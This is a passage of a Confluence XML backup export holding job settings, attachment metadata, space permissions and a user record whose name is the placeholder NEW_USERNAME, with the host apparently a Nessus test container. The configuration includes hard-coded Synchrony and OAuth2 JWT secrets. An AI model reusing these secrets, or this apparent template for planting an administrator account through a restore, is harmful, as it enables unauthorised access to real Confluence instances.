<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98351</id>
|
||||
<property name="hibernateVersion">9</property>
|
||||
<property name="title"><![CDATA[step05-03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262245</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262257</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262263</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262264</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32869</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#purgeHistoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98352</id>
|
||||
<property name="hibernateVersion">8</property>
|
||||
<property name="title"><![CDATA[step04-02.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step04-02.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262251</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262252</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262253</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262272</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32834</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_id]]></property>
|
||||
<property name="value"><![CDATA[<string>Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32835</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_secret]]></property>
|
||||
<property name="value"><![CDATA[<string>ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32832</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..logged_base_analytics_data]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32833</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-update]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>com.atlassian.migration.agent</string>
|
||||
<string>com.atlassian.troubleshooting.plugin-confluence</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32830</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_base_url]]></property>
|
||||
<property name="value"><![CDATA[<string>http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32831</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_passphrase]]></property>
|
||||
<property name="value"><![CDATA[<string>BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32828</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="AlertEntityImpl" package="com.atlassian.confluence.internal.diagnostics.persistence.dao.hibernate">
|
||||
<id name="id">720897</id>
|
||||
<property name="detailsJson"><![CDATA[{"freeInMegabytes":144,"totalInMegabytes":4160,"minimumInMegabytes":256}]]></property>
|
||||
<property name="issueComponentId"><![CDATA[OS]]></property>
|
||||
<property name="issueId"><![CDATA[OS-1001]]></property>
|
||||
<property name="issueSeverity" enum-class="Severity" package="com.atlassian.diagnostics">WARNING</property>
|
||||
<property name="nodeName"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="nodeNameLower"><![CDATA[3b0401e4191f]]></property>
|
||||
<property name="timestampUtc">1699509909923</property>
|
||||
<property name="triggerModule"/><property name="triggerPluginKey"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginKeyLower"><![CDATA[not-detected]]></property>
|
||||
<property name="triggerPluginVersion"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32829</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32826</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32827</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32824</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.expired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32825</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.nearlyexpired]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32822</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-plugin.request]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32823</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..analytics_enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32820</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.oauth2.provider.jwt.secret]]></property>
|
||||
<property name="value"><![CDATA[<string>385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32821</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-edition.mismatch]]></property>
|
||||
<property name="value"><![CDATA[<list/>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32850</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushContentIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32851</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#FlushChangeIndexScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32848</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ExpiredUserVerificationTokenCleanupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32849</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32846</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DeferredFileDeletionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32847</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32844</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JournalCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32845</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#clearOldMailErrorsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32842</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32843</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#AncestorsRepairJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32840</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32841</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32838</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#CleanTempDirectoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32839</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#PropertyEntryGardeningJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32836</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.darkfeature]]></property>
|
||||
<property name="value"><![CDATA[<string>site-wide.shared-drafts</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32837</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.content.render.xhtml.migration.macro.MacroMigrationService]]></property>
|
||||
<property name="key"><![CDATA[migration.required]]></property>
|
||||
<property name="value"><![CDATA[<boolean>false</boolean>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32886</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:hadHadASingleDirectory]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32887</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.admin.tasks.AdminTaskData]]></property>
|
||||
<property name="key"><![CDATA[admintask.remigration.xhtml]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.admin.tasks.AdminTaskData>
|
||||
<completedAt>2023-11-09 06:04:53.20 UTC</completedAt>
|
||||
</com.atlassian.confluence.admin.tasks.AdminTaskData>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32884</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#periodicEventPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32885</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:firstCheckDateMs]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509886924</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceUserImpl" package="com.atlassian.confluence.user">
|
||||
<id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="email"><![CDATA[admin@test.com]]></property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229377</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:32:57.499</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229378</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:38:37.286</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458796</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.405</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.405</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458797</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.407</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.407</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458798</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.408</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.408</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458799</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.411</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.411</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458792</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458793</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.399</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.399</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458794</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.401</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.401</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458795</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.403</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.403</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458788</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.387</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.387</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458789</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.389</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.389</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458790</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458791</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
